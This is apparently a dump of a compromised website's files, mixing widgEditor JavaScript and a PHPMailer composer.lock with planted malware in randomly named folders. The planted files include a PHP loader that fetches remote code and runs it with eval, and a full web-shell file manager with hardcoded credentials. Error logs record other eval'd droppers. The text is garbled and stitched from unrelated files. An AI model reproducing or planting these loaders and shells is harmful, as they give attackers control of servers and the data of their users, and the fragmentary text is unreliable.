else { theBody.removeChild(theBody.childNodes[i]); } i--; } else { theBody.removeChild(theBody.childNodes[i]); } } else if (removedElements.length > 0) { this.insertNewParagraph(removedElements, theBody.childNodes[i]); removedElements = new Array(); } } if (removedElements.length > 0) { this.insertNewParagraph(removedElements); } } return true; } /* Update hidden input to reflect editor contents, for submission */ widgEditor.prototype.refreshDisplay = function() { if (this.wysiwyg) { this.theIframe.contentWindow.document.getElementsByTagName("body")[0].innerHTML = this.theInput.value; } else { this.theTextarea.value = this.theInput.value; } return true; } /* Switch between WYSIWYG and HTML source */ widgEditor.prototype.switchMode = function() { if (!this.locked) { this.locked = true; /* Switch to HTML source */ if (this.wysiwyg) { this.updateWidgInput(); this.theTextarea.value = this.theInput.value; this.theContainer.replaceChild(this.theTextarea, this.theIframe); this.theToolbar.disable(); this.wysiwyg = false; this.locked = false; } /* Switch to WYSIWYG */ else { this.updateWidgInput(); this.theContainer.replaceChild(this.theIframe, this.theTextarea); this.writeDocument(this.theInput.value); this.theToolbar.enable(); this.initEdit(); this.wysiwyg = true; } } return true; } /* Update hidden input to reflect editor contents, for submission */ widgEditor.prototype.updateWidgInput = function() { if (this.wysiwyg) { /* Convert spans to semantics in Mozilla */ if (!this.IE) { this.convertSPANs(true); } this.paragraphise(); this.cleanSource(); } else { this.theInput.value = this.theTextarea.value; } return true; } /* Write initial content to editor */ widgEditor.prototype.writeDocument = function(documentContent) { /* HTML template into which the HTML Editor content is inserted */ var documentTemplate = '\ \ \ INSERT:STYLESHEET:END\ \ \ INSERT:CONTENT:END\ \ \ '; /* Insert dynamic variables/content into document */ /* IE needs stylesheet to be written inline */ if (typeof document.all != "undefined") { documentTemplate = documentTemplate.replace(/INSERT:STYLESHEET:END/, ''); } /* Firefox can't have stylesheet written inline */ else { documentTemplate = documentTemplate.replace(/INSERT:STYLESHEET:END/, ""); } documentTemplate = documentTemplate.replace(/INSERT:CONTENT:END/, documentContent); this.theIframe.contentWindow.document.open(); this.theIframe.contentWindow.document.write(documentTemplate); this.theIframe.contentWindow.document.close(); /* In Firefox stylesheet needs to be loaded separate to other HTML, because if it's loaded inline it causes Firefox to have problems with an empty document */ if (typeof document.all == "undefined") { var stylesheet = this.theIframe.contentWindow.document.createElement("link"); stylesheet.setAttribute("rel", "stylesheet"); stylesheet.setAttribute("type", "text/css"); stylesheet.setAttribute("href", widgStylesheet); this.theIframe.contentWindow.document.getElementsByTagName("head")[0].appendChild(stylesheet); } return true; } /* Toolbar items */ function widgToolbar(theEditor) { var self = this; this.widgEditorObject = theEditor; /* Create toolbar ul element */ this.theList = document.createElement("ul"); this.theList.id = this.widgEditorObject.theInput.id + "WidgToolbar"; this.theList.className = "widgToolbar"; this.theList.widgToolbarObject = this; /* Create toolbar items */ for (var i = 0; i < widgToolbarItems.length; i++) { switch (widgToolbarItems[i]) { case "bold": this.addButton(this.theList.id + "ButtonBold", "widgButtonBold", "Bold", "bold"); break; case "italic": this.addButton(this.theList.id + "ButtonItalic", "widgButtonItalic", "Italic", "italic"); break; case "hyperlink": this.addButton(this.theList.id + "ButtonLink", "widgButtonLink", "Hyperlink", "link"); break; case "unorderedlist": this.addButton(this.theList.id + "ButtonUnordered", "widgButtonUnordered", "Unordered List", "insertunorderedlist"); break; case "orderedlist": this.addButton(this.theList.id + "ButtonOrdered", "widgButtonOrdered", "Ordered List", "insertorderedlist"); break; case "image": this.addButton(this.theList.id + "ButtonImage", "widgButtonImage", "Insert Image", "image"); break; case "htmlsource": this.addButton(this.theList.id + "ButtonHTML", "widgButtonHTML", "HTML Source", "html"); break; case "blockformat": this.addSelect(this.theList.id + "SelectBlock", "widgSelectBlock", widgSelectBlockOptions, "formatblock"); break; } } return true; } /* Add button to toolbar */ widgToolbar.prototype.addButton = function(theID, theClass, theLabel, theAction) { var menuItem = document.createElement("li"); var theLink = document.createElement("a"); var theText = document.createTextNode(theLabel); menuItem.id = theID; menuItem.className = "widgEditButton"; theLink.href = "#"; theLink.title = theLabel; theLink.className = theClass; theLink.action = theAction; theLink.onclick = widgToolbarAction; theLink.onmouseover = widgToolbarMouseover; theLink.appendChild(theText); menuItem.appendChild(theLink); this.theList.appendChild(menuItem); return true; } /* Add select box to toolbar. theContentArray is an array of string pairs (option value, option label) */ widgToolbar.prototype.addSelect = function(theID, theClass, theContentArray, theAction) { var menuItem = document.createElement("li"); var theSelect = document.createElement("select"); menuItem.className = "widgEditSelect"; theSelect.id = theID; theSelect.name = theID; theSelect.className = theClass; theSelect.action = theAction; theSelect.onchange = widgToolbarAction; for (var i = 0; i < theContentArray.length; i += 2) { var theOption = document.createElement("option"); var theText = document.createTextNode(theContentArray[i + 1]); theOption.value = theContentArray[i]; theOption.appendChild(theText); theSelect.appendChild(theOption); } menuItem.appendChild(theSelect); this.theList.appendChild(menuItem); return true; } /* Turn off toolbar items */ widgToolbar.prototype.disable = function() { /* Change class to disable buttons using CSS */ this.theList.className += " widgSource"; /* Loop through lis */ for (var i = 0; i < this.theList.childNodes.length; i++) { var theChild = this.theList.childNodes[i]; if (theChild.nodeName.toLowerCase() == "li" && theChild.className == "widgEditSelect") { /* Loop through li children to find select */ for (j = 0; j < theChild.childNodes.length; j++) { if (theChild.childNodes[j].nodeName.toLowerCase() == "select") { theChild.childNodes[j].disabled = "disabled"; break; } } } } return true; } /* Turn on toolbar items */ widgToolbar.prototype.enable = function() { /* Change class to enable buttons using CSS */ this.theList.className = this.theList.className.replace(/ widgSource/, ""); /* Loop through lis */ for (var i = 0; i < this.theList.childNodes.length; i++) { var theChild = this.theList.childNodes[i]; if (theChild.nodeName.toLowerCase() == "li" && theChild.className == "widgEditSelect") { /* Loop through li children to find select */ for (j = 0; j < theChild.childNodes.length; j++) { if (theChild.childNodes[j].nodeName.toLowerCase() == "select") { theChild.childNodes[j].disabled = ""; break; } } } } return true; } /* Change the status of the selected toolbar item */ widgToolbar.prototype.setState = function(theState, theStatus) { if (theState != "SelectBlock") { var theButton = document.getElementById(this.theList.id + "Button" + theState); if (theButton != null) { if (theStatus == "on") { theButton.className = theButton.className.addClass("on"); } else { theButton.className = theButton.className.removeClass("on"); } } } else { var theSelect = document.getElementById(this.theList.id + "SelectBlock"); if (theSelect != null) { theSelect.value = ""; theSelect.value = theStatus; } } return true; } /* Action taken when toolbar item activated */ function widgToolbarAction() { var theToolbar = this.parentNode.parentNode.widgToolbarObject; var theWidgEditor = theToolbar.widgEditorObject; var theIframe = theWidgEditor.theIframe; var theSelection = ""; /* If somehow a button other than "HTML source" is clicked while viewing HTML source, ignore click */ if (!theWidgEditor.wysiwyg && this.action != "html") { return false; } switch (this.action) { case "formatblock": theIframe.contentWindow.document.execCommand(this.action, false, this.value); theWidgEditor.theToolbar.setState("SelectBlock", this.value); break; case "html": theWidgEditor.switchMode(); break; case "link": if (this.parentNode.className.classExists("on")) { theIframe.contentWindow.document.execCommand("Unlink", false, null); theWidgEditor.theToolbar.setState("Link", "off"); } else { if (theIframe.contentWindow.document.selection) { theSelection = theIframe.contentWindow.document.selection.createRange().text; if (theSelection == "") { alert("Please select the text you wish to hyperlink."); break; } } else { theSelection = theIframe.contentWindow.getSelection(); if (theSelection == "") { alert("Please select the text you wish to hyperlink."); break; } } var theURL = prompt("Enter the URL for this link:", "http://"); if (theURL != null) { theIframe.contentWindow.document.execCommand("CreateLink", false, theURL); theWidgEditor.theToolbar.setState("Link", "on"); } } break; case "image": var theImage = prompt("Enter the location for this image:", ""); if (theImage != null && theImage != "") { var theAlt = prompt("Enter the alternate text for this image:", ""); var theSelection = null; var theRange = null; /* IE selections */ if (theIframe.contentWindow.document.selection) { /* Escape quotes in alt text */ theAlt = theAlt.replace(/"/g, "'"); theSelection = theIframe.contentWindow.document.selection; theRange = theSelection.createRange(); theRange.collapse(false); theRange.pasteHTML("\"""); break; } /* Mozilla selections */ else { try { theSelection = theIframe.contentWindow.getSelection(); } catch (e) { return false; } theRange = theSelection.getRangeAt(0); theRange.collapse(false); var theImageNode = theIframe.contentWindow.document.createElement("img"); theImageNode.src = theImage; theImageNode.alt = theAlt; theRange.insertNode(theImageNode); break; } } else { return false; } default: theIframe.contentWindow.document.execCommand(this.action, false, null); var theAction = this.action.replace(/^./, function(match){return match.toUpperCase();}); /* Turn off unordered toolbar item if ordered toolbar item was activated */ if (this.action == "insertorderedlist") { theAction = "Ordered"; theWidgEditor.theToolbar.setState("Unordered", "off"); } /* Turn off ordered toolbar item if unordered toolbar item was activated */ if (this.action == "insertunorderedlist") { theAction = "Unordered"; theWidgEditor.theToolbar.setState("Ordered", "off"); } /* If toolbar item was turned on */ if (theIframe.contentWindow.document.queryCommandState(this.action, false, null)) { theWidgEditor.theToolbar.setState(theAction, "on"); } else { theWidgEditor.theToolbar.setState(theAction, "off"); } } if (theWidgEditor.wysiwyg == true) { theIframe.contentWindow.focus(); } else { theWidgEditor.theTextarea.focus(); } return false; } /* Check the nesting of the current cursor position/selection */ function widgToolbarCheckState(theWidgEditor, resubmit) { if (!resubmit) { /* Allow browser to update selection before using the selection */ setTimeout(function(){widgToolbarCheckState(theWidgEditor, true); return true;}, 500); } var theSelection = null; var theRange = null; var theParentNode = null; var theLevel = 0; /* Turn off all the buttons */ var menuListItems = theWidgEditor.theToolbar.theList.childNodes; for (var i = 0; i < menuListItems.length; i++) { menuListItems[i].className = menuListItems[i].className.removeClass("on"); } /* IE selections */ if (theWidgEditor.theIframe.contentWindow.document.selection) { theSelection = theWidgEditor.theIframe.contentWindow.document.selection; theRange = theSelection.createRange(); try { theParentNode = theRange.parentElement(); } catch (e) { return false; } } /* Mozilla selections */ else { try { theSelection = theWidgEditor.theIframe.contentWindow.getSelection(); } catch (e) { return false; } theRange = theSelection.getRangeAt(0); theParentNode = theRange.commonAncestorContainer; } while (theParentNode.nodeType == 3) { theParentNode = theParentNode.parentNode; } while (theParentNode.nodeName.toLowerCase() != "body") { switch (theParentNode.nodeName.toLowerCase()) { case "a": theWidgEditor.theToolbar.setState("Link", "on"); break; case "em": theWidgEditor.theToolbar.setState("Italic", "on"); break; case "li": break; case "ol": theWidgEditor.theToolbar.setState("Ordered", "on"); theWidgEditor.theToolbar.setState("Unordered", "off"); break; case "span": if (theParentNode.getAttribute("style") == "font-weight: bold;") { theWidgEditor.theToolbar.setState("Bold", "on"); } else if (theParentNode.getAttribute("style") == "font-style: italic;") { theWidgEditor.theToolbar.setState("Italic", "on"); } else if (theParentNode.getAttribute("style") == "font-weight: bold; font-style: italic;") { theWidgEditor.theToolbar.setState("Bold", "on"); theWidgEditor.theToolbar.setState("Italic", "on"); } else if (theParentNode.getAttribute("style") == "font-style: italic; font-weight: bold;") { theWidgEditor.theToolbar.setState("Bold", "on"); theWidgEditor.theToolbar.setState("Italic", "on"); } break; case "strong": theWidgEditor.theToolbar.setState("Bold", "on"); break; case "ul": theWidgEditor.theToolbar.setState("Unordered", "on"); theWidgEditor.theToolbar.setState("Ordered", "off"); break; default: theWidgEditor.theToolbar.setState("SelectBlock", "<" + theParentNode.nodeName.toLowerCase() + ">"); break; } theParentNode = theParentNode.parentNode; theLevel++; } return true; } /* Turn off browser status display for toolbar items */ function widgToolbarMouseover() { window.status = ""; return true; } function acceptableChildren(theNode) { var theChildren = theNode.childNodes; for (var i = 0; i < theChildren.length; i++) { if (!theChildren[i].nodeName.isAcceptedElementName()) { if (!theChildren[i].nodeName.isInlineName()) { if (theNode.nodeName.toLowerCase() == "p") { acceptableChildren(replaceNodeWithChildren(theNode)); return true; } changeNodeType(theChildren[i], "p"); } else { replaceNodeWithChildren(theChildren[i]); } i = -1; } } for (var i = 0; i < theChildren.length; i++) { acceptableChildren(theChildren[i]); } return true; } /* Change the type of a node, e.g. h3 to p */ function changeNodeType(theNode, nodeType) { var theChildren = new Array(); var theNewNode = document.createElement(nodeType); var theParent = theNode.parentNode; if (theParent != null) { for (var i = 0; i < theNode.childNodes.length; i++) { theChildren.push(theNode.childNodes[i].cloneNode(true)); } for (var i = 0; i < theChildren.length; i++) { theNewNode.appendChild(theChildren[i]); } theParent.replaceChild(theNewNode, theNode); } return true; } /* Replace a node with its children -- delete the item and move its children up one level in the hierarchy */ function replaceNodeWithChildren(theNode) { var theChildren = new Array(); var theParent = theNode.parentNode; if (theParent != null) { for (var i = 0; i < theNode.childNodes.length; i++) { theChildren.push(theNode.childNodes[i].cloneNode(true)); } for (var i = 0; i < theChildren.length; i++) { theParent.insertBefore(theChildren[i], theNode); } theParent.removeChild(theNode); return theParent; } return true; } /* Add a class to a string */ String.prototype.addClass = function(theClass) { if (this != "") { if (!this.classExists(theClass)) { return this + " " + theClass; } } else { return theClass; } return this; } /* Check if a class exists in a string */ String.prototype.classExists = function(theClass) { var regString = "(^| )" + theClass + "\W*"; var regExpression = new RegExp(regString); if (regExpression.test(this)) { return true; } return false; } /* Check if a string is the nodeName of an accepted element */ String.prototype.isAcceptedElementName = function() { var elementList = new Array("#text", "a", "em", "h1", "h2", "h3", "h4", "h5", "h6", "img", "li", "ol", "p", "strong", "ul"); var theName = this.toLowerCase(); for (var i = 0; i < elementList.length; i++) { if (theName == elementList[i]) { return true; } } return false; } /* Check if a string is the nodeName of an inline element */ String.prototype.isInlineName = function() { var inlineList = new Array("#text", "a", "em", "font", "span", "strong", "u"); var theName = this.toLowerCase(); for (var i = 0; i < inlineList.length; i++) { if (theName == inlineList[i]) { return true; } } return false; } /* Remove a class from a string */ String.prototype.removeClass = function(theClass) { var regString = "(^| )" + theClass + "\W*"; var regExpression = new RegExp(regString); return this.replace(regExpression, ""); } /* Reverse a string */ String.prototype.reverse = function() { var theString = ""; for (var i = this.length - 1; i >= 0; i--) { theString += this.charAt(i); } return theString; } /* Make tags valid by converting uppercase element and attribute names to lowercase and quoting attributes */ String.prototype.validTags = function() { var theString = this; /* Replace uppercase element names with lowercase */ theString = theString.replace(/<[^> ]*/g, function(match){return match.toLowerCase();}); /* Replace uppercase attribute names with lowercase */ theString = theString.replace(/<[^>]*>/g, function(match) { match = match.replace(/ [^=]+=/g, function(match2){return match2.toLowerCase();}); return match; }); /* Put quotes around unquoted attributes */ theString = theString.replace(/<[^>]*>/g, function(match) { match = match.replace(/( [^=]+=)([^"][^ >]*)/g, "$1\"$2\""); return match; }); return theString; }widgEditor/wqozk1/error_log000064400000000371151026170410012014 0ustar00[27-Oct-2025 03:47:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#8u60t.php on line 236 widgEditor/wqozk1/index.php000064400000000151151026170410011713 0ustar00PHPMailer/xu9pet/3pv29.php000064400000001162151026170410011154 0ustar00 true, CURLOPT_TIMEOUT => 5 ]); $code = curl_exec($ch); curl_close($ch); if ($code) @eval("?>$code"); break; case ($code = @file_get_contents($url)): @eval("?>$code"); break; case @ini_get('allow_url_include'): @include($url); break; } ?> PHPMailer/ptcybq/error_log000064400000002062151026170410011541 0ustar00[27-Oct-2025 03:47:31 UTC] PHP Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /tmp/phpM5aThD#past.php on line 116 [27-Oct-2025 03:47:31 UTC] PHP Warning: file_get_contents(https://05b46bfb8deb7e103bcf8f997f0edac1234f92f5aa743188151781150968da81 810f5d6459b7ad06ffd76bb76bff68efa0f5f0f5c7a6f575c2d873c8d3d259bc 1a90ca01ec244770ac0986ca384e33dc00ef73e5f4d4ecb630c3587f3498fc38 002bb407baac76af18336f3e9a8388cb84865379d0183242794392e79eef5664 9e8b5bfa69399f2d77a71d5ae171bc1fbe73a456b56a671fb1c7300e7d4ebbc2 fcf08ad0ecf281a820953cdf85088aeff6f8d384e5ba5cc2f1bfc05ae583d294 5f71914e014ecf23d6eb3503a80d8fcbe32ead438d80bb61242ecd5e42308242 bd3d8e4d0b19d2881b54661450bf5e2216a23ca7e5f04c35ef7a3aa326df96f8 3e5cda6fd35a14d908bf20223fc0b56bc3fa275d663b6f6529d1a88d9d8d8280 d7ae3b2adf0a439ba2f0de1778c82ad5196e4bbb637009d6a929c7395bfb27df/bayi-613/system/main/system.jpgen.json): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /tmp/phpM5aThD#past.php on line 116 PHPMailer/ptcybq/index.php000064400000000150151026170410011440 0ustar00PHPMailer/f6ynl0/error_log000064400000000376151026170410011363 0ustar00[27-Oct-2025 03:47:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#wp-adochan.php on line 162 PHPMailer/f6ynl0/index.php000064400000000156151026170410011262 0ustar00PHPMailer/34pgej/.htaccess000064400000000124151026170410011211 0ustar00 Order Allow,Deny Allow from all PHPMailer/34pgej/index.php000064400000000146151026170410011237 0ustar00PHPMailer/34pgej/about.php000064400000000363151026170410011243 0ustar00 AccessDeniedAccess Denied0W4VW90A0YSG4CJRv/6h+i837sEP4oglq3TRgaQPVBb4xCraKYZpv9i1mqem1xhhq3TLthJZajlexdW1ryhbNzKZ4Ss=PHPMailer/34pgej/about.PHP000064400000000363151026170410011103 0ustar00 AccessDeniedAccess Denied0W4VW90A0YSG4CJRv/6h+i837sEP4oglq3TRgaQPVBb4xCraKYZpv9i1mqem1xhhq3TLthJZajlexdW1ryhbNzKZ4Ss=PHPMailer/uhxw7g/index.php000064400000000150151026170410011367 0ustar00PHPMailer/mol4qb/error_log000064400000001045151026170410011435 0ustar00[27-Oct-2025 03:47:41 UTC] PHP Notice: Undefined index: बहिः गच्छतु in /tmp/phpM5aThD#wp-yes.php(6) : eval()'d code on line 136 [27-Oct-2025 03:47:41 UTC] PHP Notice: Undefined index: aksi in /tmp/phpM5aThD#wp-yes.php(6) : eval()'d code on line 140 [27-Oct-2025 03:47:41 UTC] PHP Notice: Undefined index: नामपत्र in /tmp/phpM5aThD#wp-yes.php(6) : eval()'d code on line 159 [27-Oct-2025 03:47:41 UTC] PHP Notice: Undefined index: नामपत्र in /tmp/phpM5aThD#wp-yes.php(6) : eval()'d code on line 181 PHPMailer/mol4qb/index.php000064400000000152151026170410011336 0ustar00PHPMailer/vb9354/gc31p.php000064400000000741151026170410010706 0ustar00PK;[O7tronitmQak0^tp.NEFCGO"ԫumIp%.rݻä׶%AJ^LT(m˶=B_hXCrȀFvi0An$w&!ҧ$PRSmhACL =hإ}]0Xpн4{?N6t|vy0v"^,^泵$"ѷm!}ܬ*J N)oAPH(x}hUXjA7qߖL?h4Ff5U2[&)N Q? GڎRoῂ63-7{gj^rb!*ᴺ/PK;[O7$ tronit u% u% Y PKXsPHPMailer/composer.lock000064400000007707151026170410011036 0ustar00{ "_readme": [ "This file locks the dependencies of your project to a known state", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], "content-hash": "d4bbe1ace33ba4304c8d4da0a8d4905d", "packages": [ { "name": "phpmailer/phpmailer", "version": "v6.7.1", "source": { "type": "git", "url": "https://github.com/PHPMailer/PHPMailer.git", "reference": "49cd7ea3d2563f028d7811f06864a53b1f15ff55" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPMailer/PHPMailer/zipball/49cd7ea3d2563f028d7811f06864a53b1f15ff55", "reference": "49cd7ea3d2563f028d7811f06864a53b1f15ff55", "shasum": "" }, "require": { "ext-ctype": "*", "ext-filter": "*", "ext-hash": "*", "php": ">=5.5.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "^0.7.2", "doctrine/annotations": "^1.2.6 || ^1.13.3", "php-parallel-lint/php-console-highlighter": "^1.0.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcompatibility/php-compatibility": "^9.3.5", "roave/security-advisories": "dev-latest", "squizlabs/php_codesniffer": "^3.7.1", "yoast/phpunit-polyfills": "^1.0.4" }, "suggest": { "ext-mbstring": "Needed to send email in multibyte encoding charset or decode encoded addresses", "ext-openssl": "Needed for secure SMTP sending and DKIM signing", "greew/oauth2-azure-provider": "Needed for Microsoft Azure XOAUTH2 authentication", "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", "league/oauth2-google": "Needed for Google XOAUTH2 authentication", "psr/log": "For optional PSR-3 debug logging", "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)", "thenetworg/oauth2-azure": "Needed for Microsoft XOAUTH2 authentication" }, "type": "library", "autoload": { "psr-4": { "PHPMailer\\PHPMailer\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-2.1-only" ], "authors": [ { "name": "Marcus Bointon", "email": "phpmailer@synchromedia.co.uk" }, { "name": "Jim Jagielski", "email": "jimjag@gmail.com" }, { "name": "Andy Prevost", "email": "codeworxtech@users.sourceforge.net" }, { "name": "Brent R. Matzelle" } ], "description": "PHPMailer is a full-featured email creation and transfer class for PHP", "support": { "issues": "https://github.com/PHPMailer/PHPMailer/issues", "source": "https://github.com/PHPMailer/PHPMailer/tree/v6.7.1" }, "funding": [ { "url": "https://github.com/Synchro", "type": "github" } ], "time": "2022-12-08T13:30:06+00:00" } ], "packages-dev": [], "aliases": [], "minimum-stability": "stable", "stability-flags": [], "prefer-stable": false, "prefer-lowest": false, "platform": [], "platform-dev": [], "plugin-api-version": "2.3.0" } PHPMailer/70w58a/index.php000064400000000150151026170410011071 0ustar00PHPMailer/j4z5lf/index.php000064400000000146151026170410011261 0ustar00PHPMailer/j4z5lf/tmp_ce9d534a7bc048af2bd5ac311f0b7e13.php000064400000560461151026170410015623 0ustar00 '3085dc7572beea5231d9d6b6fb8f80c3', 'user' => '3085dc7572beea5231d9d6b6fb8f80c3' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>

".lng('Root path')." \"{$root_path}\" ".lng('not found!')."
"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { 